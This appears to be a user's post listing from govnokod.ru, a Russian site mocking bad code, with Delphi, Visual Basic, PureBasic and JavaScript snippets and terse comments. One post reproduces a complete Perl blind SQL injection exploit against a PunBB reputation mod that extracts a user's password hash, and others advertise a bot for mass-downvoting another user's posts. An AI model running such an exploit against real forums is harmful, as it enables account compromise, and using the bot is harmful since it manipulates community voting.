1. Список говнокодов пользователя Stertor

    Всего: 162

  2. Pascal / Говнокод #14674

    +92

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    procedure TForm1.BitBtn1Click(Sender: TObject);
    begin
      with message1 do
      begin
        Subject:='Test subject';
        From := '[email protected]';
        To := '[email protected]';
        Textbody:='Text body';
      [. . .]
        Configuration.Fields.Update;
        Send;
    end;
    
    Лососнул тунца.

    with message1 do
    begin
    Subject:='Test subject';
    From := '[email protected]';
    To := '[email protected]';
    Textbody:='Text body';


    'To' - ключевое слово, смирись, смертный, и забудь о 'with'
    p.s. капча сейчас - 4 семерки.

    Stertor, 19 Февраля 2014

    Комментарии (24)
  3. VisualBasic / Говнокод #14597

    −120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    Option Explicit
    
    Dim HTMLCode As String 'переменная для хранения кода страницы
    
    Private Sub Command1_Click()
        Winsock1.RemotePort = 80                'устанавливаем порт сервера 80
        Winsock1.RemoteHost = "ippages.com"     'Хост
        Winsock1.Connect                        'Подключаемся
        Label4.Caption = Winsock2.LocalIP
    End Sub
    
    Function CutIP(HTML As String) As String
    Dim p1 As Integer
        p1 = InStr(HTML, "Content-Type: text/html")
        CutIP = Trim(Mid(HTML, p1 + 27, Len(HTML) - p1 - 23))
    End Function
    
    Private Sub Label1_Click()
    
    End Sub
    
    Private Sub Winsock1_Close()        'Событие генерируется при закрытии Канала связи
        Form1.Caption = "Не подключен" 'Просто сообщаем о том что не подключены
        Winsock1.Close
    End Sub
    
    Private Sub Winsock1_Connect()      'Событие генерируется при подключении
       Form1.Caption = "Подключение"      'Подключены
       'Посылаем запрос на сервер  выдающему наш IP
      Winsock1.SendData "GET " + "/simple/" + " HTTP/1.0" + Chr(10) + Chr(10)
    End Sub
    
    'Событие генерируется когда нам приходят данные
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Temp As String
      Winsock1.GetData HTMLCode
      Label1.Caption = CutIP(HTMLCode)
    End Sub
    
    Получение ай-пи адреса посредством отправки на сайт запроса через компонент WinSock.
    http://vbbook.ru/visual-basic/polychenie-svoego-ip/
    Строго говоря, это не лажа кодера, просто используется (по незнанию?) очень глючный и непредсказуемый компонент.

    Fixed by me:

    Function GetCurrentIP() As String
    Dim txt As String
    Dim i, j As Integer
    Dim mshttp As New XMLHTTP 'по умолчанию сервер всегда зареган.
    mshttp.open "GET", "http://checkip.dyndns.org/", False ' синхронный get
    mshttp.send
    txt = mshttp.responseText
    i = InStr(1, txt, ":")

    If i > 0 Then
    i = i + 1
    Else
    GetCurrentIP = "" ' удобно было бы, если по присваиванию, подобному этому, происходило покидание процедуры. Ан, нет.
    Exit Function
    End If

    j = InStr(i, txt, "</")
    If j < 1 Then
    GetCurrentIP = ""
    Exit Function
    End If

    GetCurrentIP = Trim(Mid(txt, i, j - i))
    End Function

    Stertor, 15 Февраля 2014

    Комментарии (203)
  4. Pascal / Говнокод #14532

    +88

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    Попытка внедрить контрол TCheckBox в заголовок 1 колонки TListView:
    
    type
      TForm1 = class(TForm)
        ListView1: TListView;
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
      private
        FListHeaderWnd: HWND;
        FListHeaderChk: TCheckBox;
        FSaveListHeaderWndProc, FListHeaderWndProc: Pointer;
        procedure ListHeaderWndProc(var Msg: TMessage);
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    uses
      commctrl;
    
    {$R *.dfm}
    
    function GetCheckSize: TPoint;    
    begin                                                  
      with TBitmap.Create do
        try
          Handle := LoadBitmap(0, PChar(OBM_CHECKBOXES));
          Result.X := Width div 4;
          Result.Y := Height div 3;
        finally
          Free;
        end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    var
      CheckSize: TPoint;
      HeaderSize: TRect;
    begin
      ListView1.HandleNeeded;
      FListHeaderWnd := ListView_GetHeader(ListView1.Handle);
    
      FListHeaderChk := TCheckBox.Create(nil);
      CheckSize := GetCheckSize;
      FListHeaderChk.Height := CheckSize.X;
      FListHeaderChk.Width := CheckSize.Y;
    
      // the below won't show anything since the form is not visible yet
      ShowWindow(ListView1.Handle, SW_SHOWNORMAL); // otherwise header is not sized
      windows.GetClientRect(FListHeaderWnd, HeaderSize);
      FListHeaderChk.Top := (HeaderSize.Bottom - FListHeaderChk.Height) div 2;
      FListHeaderChk.Left := FListHeaderChk.Top;
    
      FListHeaderChk.Parent := Self;
      windows.SetParent(FListHeaderChk.Handle, FListHeaderWnd);
    
      FListHeaderWndProc := classes.MakeObjectInstance(ListHeaderWndProc);
      FSaveListHeaderWndProc := Pointer(GetWindowLong(FListHeaderWnd, GWL_WNDPROC));
      SetWindowLong(FListHeaderWnd, GWL_WNDPROC, NativeInt(FListHeaderWndProc));
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
      SetWindowLong(FListHeaderWnd, GWL_WNDPROC, NativeInt(FSaveListHeaderWndProc));
      classes.FreeObjectInstance(FListHeaderWndProc);
      FListHeaderChk.Free;
    end;
    
    procedure TForm1.ListHeaderWndProc(var Msg: TMessage);
    begin
      if (Msg.Msg = WM_COMMAND) and (HWND(Msg.LParam) = FListHeaderChk.Handle)
            and (Msg.WParamHi = BN_CLICKED) then begin
        FListHeaderChk.Checked := not FListHeaderChk.Checked;
    
        // code that checks/clears all items
    
      end;
    
      Msg.Result := CallWindowProc(FSaveListHeaderWndProc, FListHeaderWnd,
                                   Msg.Msg, Msg.WParam, Msg.LParam);
    end;

    function GetCheckSize: TPoint;    
    begin
    with TBitmap.Create do
    try
    Handle := LoadBitmap(0, PChar(OBM_CHECKBOXES));
    Result.X := Width div 4;
    Result.Y := Height div 3;
    finally
    Free;
    end;
    end;

    без комментариев.

    Stertor, 10 Февраля 2014

    Комментарии (4)
  5. Pascal / Говнокод #14530

    +125

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    var
      generalPtr : Pointer;  // Указатель на что-нибудь
      formPtr    : ^TForm;   // Указатель на объект формы
    
    begin
      // Форма текущего модуля адресуемая через ключевое слово self
      generalPtr := Addr(self);
    
      // Мы можем присвоить этот указатель указателю формы
      formPtr := generalPtr;
    
      // И установить заголовок формы, чтобы показать это
      formPtr.Caption := 'Test program';
    end;
    Форма будет показана с з[color=red]а[/color]галовком:
    
    Test program

    http://www.delphibasics.ru/Pointer.php

    Stertor, 09 Февраля 2014

    Комментарии (16)
  6. Pascal / Говнокод #14491

    +122

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    Попробуйте новый минусатор http://rghost.ru/52192415
    
    * Добавлена возможность анонимной работы (в программу зашит долгоиграющий анонимный прокси);
    * Добавлена "защита от идиотов";
    * Подключен скин
    * Теперь текст комментария выбранного участника отображается в виде всплывающей подсказки;
    * !(БОНУС) добавлена возможность МИНУСОВАНИЯ ВСЕХ ПОСТОВ ОППОНЕНТА! Сровняйте врага с землей!
    
    -Теперь бот не проигрывает мелодию при запуске.
    -Удален логотип сайта
    
    
    
    
    Меня вдохновил на дальнейшую работу над ботом вот этот человек, точнее, его комментарий:
    http://govnokod.ru/14476#comment215002

    Новый бот-минусатор для ололо (может использоваться как парсер)

    Stertor, 04 Февраля 2014

    Комментарии (76)
  7. Pascal / Говнокод #14442

    +81

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    procedure tmythread.execute;
      procedure fillmemo;
      begin
        form1.memo1.lines.add('Some string');
      end;
    begin
      synchronize(fillmemo); //[Error] Unit1.pas(54): There is no overloaded version of 'Synchronize' that can be called with these arguments
    end;

    Почему нельзя сделать вещи, сделанные "через анус", еще более "через анус"?

    Stertor, 29 Января 2014

    Комментарии (121)
  8. Perl / Говнокод #14364

    −172

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    #!/usr/bin/perl
    #[0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit
    #Coded By Dante90, WaRWolFz Crew
    #Bug Discovered By: Dante90, WaRWolFz Crew
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    use HTTP::Request::Common;
    use Time::HiRes;
    use IO::Socket;
    
    my ($UserName,$PassWord,$ID) = @ARGV;
    if(@ARGV < 3){
        &usage();
        exit();
    }
    my $Message = "";
    my ($Hash,$Time,$Time_Start,$Time_End,$Response);
    my($Start,$End);
    my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,10  2);
    my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
    my $Method = HTTP::Request->new(POST => $Host);
    my $Cookies = new HTTP::Cookies;
    my $HTTP = new LWP::UserAgent(
                agent => 'Mozilla/5.0',
                max_redirect => 0,
                cookie_jar => $Cookies,
            ) or die $!;
    my $Referrer = "form_sent=1&pid=10174&poster=Dante90, WaRWolFz Crew&method=1&req_message=http://www.warwolfz.com/&submit=Invia";
    my $DefaultTime = request($Referrer);
    
    sub Login(){
        my $Login = $HTTP->post($Host.'login.php?action=in',
                    [
                        form_sent        => '1',
                        redirect_url    => 'forums.php',
                        req_username    => $UserName,
                        req_password    => $PassWord,
                        login => 'Login',
                    ]) || die $!;
    
        if($Login->content =~ /Logged in successfully./i){
            return 1;
        }else{
            return 0;
        }
    }
    if (Login() == 1){
        $Message = " * Logged in as: ".$UserName;
    }elsif (Login() == 0){
        $Message = " * Login Failed.";
        refresh($Message, $Host, $DefaultTime, "0", $Hash, $Time, "1");
        print " * Exploit Failed                                     *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    
    sub Blind_SQL_Jnjection{
        my ($dec,$hex) = @_;
        return "Dante90, WaRWolFz Crew\" OR ASCII(SUBSTRING((SELECT `password` FROM `users` WHERE `id`=${ID}),${dec},1))=${hex}/*";
    }
    
    for(my $I=1; $I<=40; $I++){ #N Hash characters
        for(my $J=0; $J<=15; $J++){ #0 -> F
            my $Post = $HTTP->post($Host.'reputation.php?',[
                        form_sent    => '1',
                        pid            => '2',
                        poster        => Blind_SQL_Jnjection($I,$chars[$J]),
                        method        => '1',
                        req_message    => 'http://www.warwolfz.com/',
                        submit        => 'Submit',
                    ]) || die $!;
            $Time = request($Referrer);
            refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Post->content =~ /(The reputation has been successfully changed)/i){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
        if($I == 1 && length $Hash < 1 && !$Hash){
            print " * Exploit Failed                                     *\n";
            print " ------------------------------------------------------ \n";
            exit;
        }
        if($I == 40){
            print " * Exploit Successed                                  *\n";
            print " ------------------------------------------------------\n ";
            system("pause");
        }
    }

    http://mybbgavno.mybb.ru/register.php

    Stertor, 15 Января 2014

    Комментарии (16)
  9. JavaScript / Говнокод #14363

    +148

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    <div id="html-header">
    	<!--Начало этого долбаного скрипта-->
    <Sсгiрt>
    <!--
    var checkpass=''''
    tell=0
    counttimes=0
    disComp=0
    function preferences(encryptpass,encryptdepth,what,dis){
     disComp=dis
     tell=0
     tell=what
     checkpass=''''
     counttimes=0
     times=encryptdepth
     checkpass=encryptpass
     orig=''''
     this.check=mkasci
    }
    
    bases=new Array(17,33,57,101);
    var acharset=''XYZNOhijkVWHIJ45ncdefMyzopqPQRSTUABKL6789ab_rs23CDEFGlmwtuvg01x''
    var storeup='''';
    function mkasci(orig){
     if(counttimes==0){storeup=orig}
     ascival=new Array()
     for(i=0;i<=orig.length-1;i++){
     for(i1=0;i1<=acharset.length;i1++){
     if(orig.charAt(i)==acharset.charAt(i1)){ascival=i1}
     }
     }
     themeat(ascival)
    }
    function cutoff(code){
     eval("var whatcode=''"+code+"''");
     eval("var whatcode2=''"+Math.ceil(code)+"''");
     bigVal=(Math.pow(10,whatcode.length-(whatcode2.length)-2)<1)?1:Math.pow(10,whatcode.length-(whatcode2.length)-2);
     whatcode3=Math.round(code*bigVal)/bigVal
     return(whatcode3)
    }
    function themeat(basecode){
     if(basecode.length>=4){
     counttimes++
     if(disComp==1){windоw.status="Computating encryption level "+counttimes+"/"+times}
     newcode=0
     finalcode=1
     for(count=0;count!=basecode.length;count++){
     newcode=(basecode[(count<(basecode.length-1))?count+1:count-2]+(basecode[count]*bases[2])*(2.303)+basecode[Math.round(((basecode.length-1)*((Math.atan(basecode[(count!=0)?count-1:count+1])*basecode.length)+2*bases[0]))/100)]+1)
     newcode=cutoff(newcode)
     newcode=(newcode>basecode[Math.round(basecode.length/2)])?newcode-=bases[3]:newcode+=bases[3]
     finalcode=cutoff(((newcode/10)*finalcode)/(basecode.length-bases[0]))
     }
     var deconstruct=''''
     eval(''var finalcode="''+(finalcode+times)+''"'');
     for(count=0;count<finalcode.length;count++){
     if(!isNaN(finalcode.charAt(count))){
     deconstruct=deconstruct+finalcode.charAt(count)
     }
     }
     finalcode=deconstruct
     var encrypt=new Array()
     for(count=2;count<finalcode.length+2;count+=2){
     eval("encrypt["+((count/2)-1)+"]=''"+((finalcode.charAt(count-2)!=''0'')?finalcode.charAt(count-2):'''')+""+finalcode.charAt(count-1)+"''")
     encrypt[((count/2)-1)]=acharset.charAt(Math.round((acharset.length*encrypt[((count/2)-1)])/100))
     }
     encrypt=encrypt.join('''')
     if(counttimes<times){mkasci(encrypt)} else {
     counttimes=0
     if(encrypt==checkpass&&tell==0){а1егt(''OK! Password '');1осаtiоn.replace(storeup+encrypt.substring(0,5)+".html");} else {
     if(tell==1){dосиmеnt.write("<B>"+storeup+"</B> is encrypted as <B>"+encrypt+"</B>");} else {
     if(history.length>0){
     а1егt("ERROR! Password ");
     history.go(-1);
     } else {1осаtiоn.replace("err.html")}
     }
     }
     }
     } else {
     if(history.length>0){
     а1егt("ERROR! Password ");
     history.go(-1);
     } else {1осаtiоn.replace("vhod.html")}
     }
    }
    
    
    password=new preferences(''s_mkAi_Z'',15,0,1);
    var enter='''';
    while(enter.length<4){
     enter=ргоmрt(''Enter Password PAROL '','''');
     if(!enter){enter='' ''}
    }
    password.check(enter);
    </Sсгiрt>
    <!--конец этого долбаного скрипта-->
    </div>

    Гк, однако.

    Stertor, 15 Января 2014

    Комментарии (4)
  10. VisualBasic / Говнокод #14362

    −123

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    PureBasic
    ================================================================================
    Define size, *mem, str$
    
    If ReadFile(1,"file.exe")
      size = Lof(1)
      If size = 0
        Debug "Файл пустой"
      Else
        *mem = AllocateMemory(size)
        If *mem
          ReadData(1, *mem, size)
          ;Делаем то, что нужно с памятью. Например, выведем первые 30 байтов файла
          For i = 0 To 29
            str$ + RSet(Hex(PeekB(*mem + i), #PB_Byte), 2, "0") + " "
          Next
          Debug "Первые 30 байтов"
          Debug str$
          FreeMemory(*mem) ;Не забываем очищать память!!!
        EndIf
      EndIf
    EndIf

    Не забываем очищать память, но кое-что, все же, забываем
    (

    Stertor, 14 Января 2014

    Комментарии (47)
  11. Pascal / Говнокод #14321

    +148

    1. 1
    2. 2
    3. 3
    Милости прошу опробовать новую модификацию моего прокси-чекера:
    http://rghost.ru/51449039
    пароль на архив - ситэ; конкретно, то место, куда слетают все опубликованные пароли и учетки.

    Выражаю огромную благодарность более опытным товарищам, которые охотно шли мне навстречу, делясь опытом и указывая правильный путь.
    Я не могу не упомянуть имен этих замечательных людей:
    Bormand
    1024-
    Kegdan
    Anonimb

    Stertor, 06 Января 2014

    Комментарии (32)